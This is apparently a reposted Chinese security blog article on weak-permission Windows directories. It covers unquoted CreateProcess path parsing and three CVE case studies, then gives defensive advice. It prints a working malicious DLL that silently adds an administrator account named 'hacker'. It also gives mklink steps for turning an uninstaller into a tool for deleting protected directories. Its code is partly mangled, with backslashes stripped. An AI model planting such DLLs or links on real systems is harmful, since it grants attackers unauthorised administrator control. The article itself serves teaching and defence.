弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

admin 2025年2月22日16:50:43评论13 views字数 4153阅读13分50秒阅读模式

在 Windows 系统中,权限管理往往是安全性的重要一环。然而,有些目录或文件的权限设置不当,就像给攻击者敞开了一扇门,让他们能够植入恶意文件、执行代码,甚至劫持合法进程或服务。这些“弱权限目录”由于缺乏有效的访问控制和安全审查,成为了攻击者眼中的“香饽饽”。他们可以利用这些漏洞修改、替换或注入文件,最终实现权限提升或系统控制。

在 Windows 中,典型的弱权限目录包括 C:WindowsTemp、C:ProgramData 等。这些目录通常用于存放临时文件,但许多应用程序和用户在使用时并未对其设置足够的权限控制。攻击者只需要在这些目录中放置一个恶意可执行文件,就能实施文件劫持攻击,进而执行代码或窃取更高权限。

本文将通过几个真实的案例,深入探讨弱权限目录带来的安全隐患,并从技术细节出发,分析其成因和防范方法。在进入案例之前,我们先从 Windows 的核心 API —— CreateProcess 开始聊起,了解它如何为这些攻击埋下伏笔。

CreateProcess 的不安全使用:隐患的起点

CreateProcess 是 Windows 中创建新进程的核心 API,它决定了程序如何启动以及路径如何解析。它的功能强大,但如果使用不当,也可能成为安全问题的源头。

CreateProcess 的基本用法

先来看看 CreateProcess 的函数原型:

BOOL CreateProcess(
  LPCWSTR lpApplicationName,    // 应用程序路径(可选)
  LPWSTR lpCommandLine,         // 命令行参数
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  // 进程安全属性
  LPSECURITY_ATTRIBUTES lpThreadAttributes,   // 线程安全属性
  BOOL bInheritHandles,         // 是否继承句柄
  DWORD dwCreationFlags,        // 创建标志
  LPVOID lpEnvironment,         // 环境变量
  LPCWSTR lpCurrentDirectory,   // 当前目录
  LPSTARTUPINFO lpStartupInfo,  // 启动信息
  LPPROCESS_INFORMATION lpProcessInformation  // 进程信息
)
;

其中,lpApplicationName 和 lpCommandLine 是两个关键参数:

  • lpApplicationName:指定可执行文件的路径。如果设为 NULL,系统会从 lpCommandLine 中解析路径。

  • lpCommandLine:传递给新进程的命令行参数。如果 lpApplicationName 为 NULL,这里必须包含完整的应用程序路径或命令名称。

路径解析的“坑”

当 lpApplicationName 为 NULL 时,系统会从 lpCommandLine 中解析路径。这个过程看似简单,却暗藏风险。假设 lpCommandLine 的内容是:

c:program filessub dirprogram name
弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

如果路径未加引号,且 lpApplicationName 为 NULL,系统会按照以下顺序解析:

  1. c:program.exe
    系统首先尝试加载 c:program.exe。

  2. c:program filessub.exe
    如果上一步失败,会尝试加载 c:program filessub.exe。

  3. c:program filessub dirprogram.exe
    接着尝试加载这个路径。

  4. c:program filessub dirprogram name.exe
    最后尝试将完整名称视为文件名并添加 .exe 后缀。

这种解析机制如果结合弱权限目录,就可能被攻击者利用。

测试验证

我们编写一个简单的 PoC 程序来验证:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>

intmain(){
char *szCmdline = _strdup("c:\program files\sub dir\program name");
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

if (CreateProcessA(NULL, szCmdline, NULLNULL, FALSE, 0NULLNULL, &si, &pi)) {
printf("Process created successfully!n");
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
printf("Failed to create process. Error code: %lun", GetLastError());
    }

free(szCmdline);
return0;
}

编译运行后,使用 Process Monitor 监控,发现如果 c:program.exe 存在,系统会优先执行它,而不是预期的完整路径程序。这就是路径解析漏洞的典型表现。

安全的用法

为了避免这种问题,正确的用法是:

LPTSTR szCmdline = _tcsdup(TEXT(""C:\Program Files\MyApp" -L -S"));
CreateProcess(NULL, szCmdline, /*...*/);

为路径加上引号,能有效防止路径被错误解析。

弱权限目录与文件劫持:攻击的温床

通过上面的测试,我们发现不规范的编码习惯可能导致程序行为偏离预期。而当这些程序涉及弱权限目录时,问题就变得更加严重。攻击者可以在这些目录中写入恶意文件,利用路径解析漏洞实施文件劫持,甚至提升权限。

接下来,我们通过几个真实的 CVE 案例,揭示弱权限目录的危害。

案例分析:从漏洞到攻击

CVE-2020-13884:EXE 文件劫持

漏洞概述:在 Citrix Workspace 卸载过程中,程序调用 CreateProcess 执行 C:ProgramDataCitrixCitrix Workspace 1911TrolleyExpress.exe。由于路径未加引号,系统会尝试加载 C:ProgramDataCitrixCitrix.exe。

弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!
弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

攻击路径:

  • C:ProgramDataCitrix 是弱权限目录,普通用户可以写入文件。

  • 攻击者在该目录下放置恶意的 Citrix.exe。

  • 当管理员卸载 Citrix Workspace 时,恶意文件被执行,权限提升成功。

启示:路径未加引号加上弱权限目录,是此类攻击的常见组合。

CVE-2022-24767:DLL 劫持提权

漏洞概述:Windows 版 Git 的卸载程序在 SYSTEM 权限下运行时,会从 C:WindowsTemp 加载 DLL 文件。

弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!
弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

攻击路径:

  • C:WindowsTemp 是弱权限目录,普通用户可写入。

  • 攻击者将恶意 DLL(例如 netapi32.dll)放入该目录。

  • 当 SYSTEM 用户卸载 Git 时,恶意 DLL 被加载并执行。

恶意 DLL 示例代码:

#include<stdio.h>
#include<windows.h>

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe "/k net user hacker password /add && net localgroup administrators hacker /add"");
        ExitProcess(0);
    }
return TRUE;
}

将编译后的 netapi32.dll 放入 C:WindowsTemp,卸载 Git 时,系统会创建一个名为 hacker 的管理员账户。

启示:DLL 劫持利用系统加载动态链接库的特性,是权限提升的常见手法。

CVE-2022-39845:任意目录删除

漏洞概述:Samsung Kies 卸载程序存在验证不当问题,会尝试删除 C:ProgramDataSamsungdeviceprofilecache 目录内容。

弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!
弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

攻击路径:

  • C:ProgramData 是弱权限目录,普通用户可读写。

  • 攻击者创建 C:ProgramDataSamsungdeviceprofilecache,并将其软链接到高权限目录(如 C:Windowshacktest)。

  • 管理员卸载程序时,目标目录被删除。

测试步骤:

  1. 普通用户尝试删除 C:Windowshacktest,无权限。

  2. 创建软链接:mklink /D C:ProgramDataSamsungdeviceprofilecache C:Windowshacktest。

  3. 管理员卸载 Samsung Kies,C:Windowshacktest 被删除。

启示:弱权限目录结合路径操作不当,可能导致严重后果。

总结与防护建议

弱权限目录导致的文件劫持问题,往往源于权限控制不严、路径配置错误或文件系统管理疏忽。这些案例告诉我们,安全无小事,一个小小的疏忽就可能被攻击者放大为系统性漏洞。

如何防范?

  1. 加强权限管理:

    • 对关键目录(如 C:ProgramData、C:WindowsTemp)设置严格的访问控制,仅允许必要用户写入。
  2. 规范路径使用:

    • 在调用 CreateProcess 等 API 时,始终为路径加引号,避免解析错误。
  3. 文件完整性保护:

    • 使用数字签名验证可执行文件和 DLL 的来源,防止恶意文件加载。
  4. 定期审查:

    • 检查系统目录权限,及时修补潜在漏洞。

通过这些措施,我们可以有效降低文件劫持的风险,保护系统安全。

结语

从 CreateProcess 的路径解析到弱权限目录的利用,文件劫持攻击展示了技术细节与安全管理的交织。希望这篇文章能让你对 Windows 系统的安全机制有更深的理解,也提醒我们在开发和维护系统时,多一分警惕,少一分隐患。欢迎留言讨论你的看法或经验,让我们一起成长!

原文始发于微信公众号(HW安全之路):弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月22日16:50:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!https://cn-sec.com/archives/3770062.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息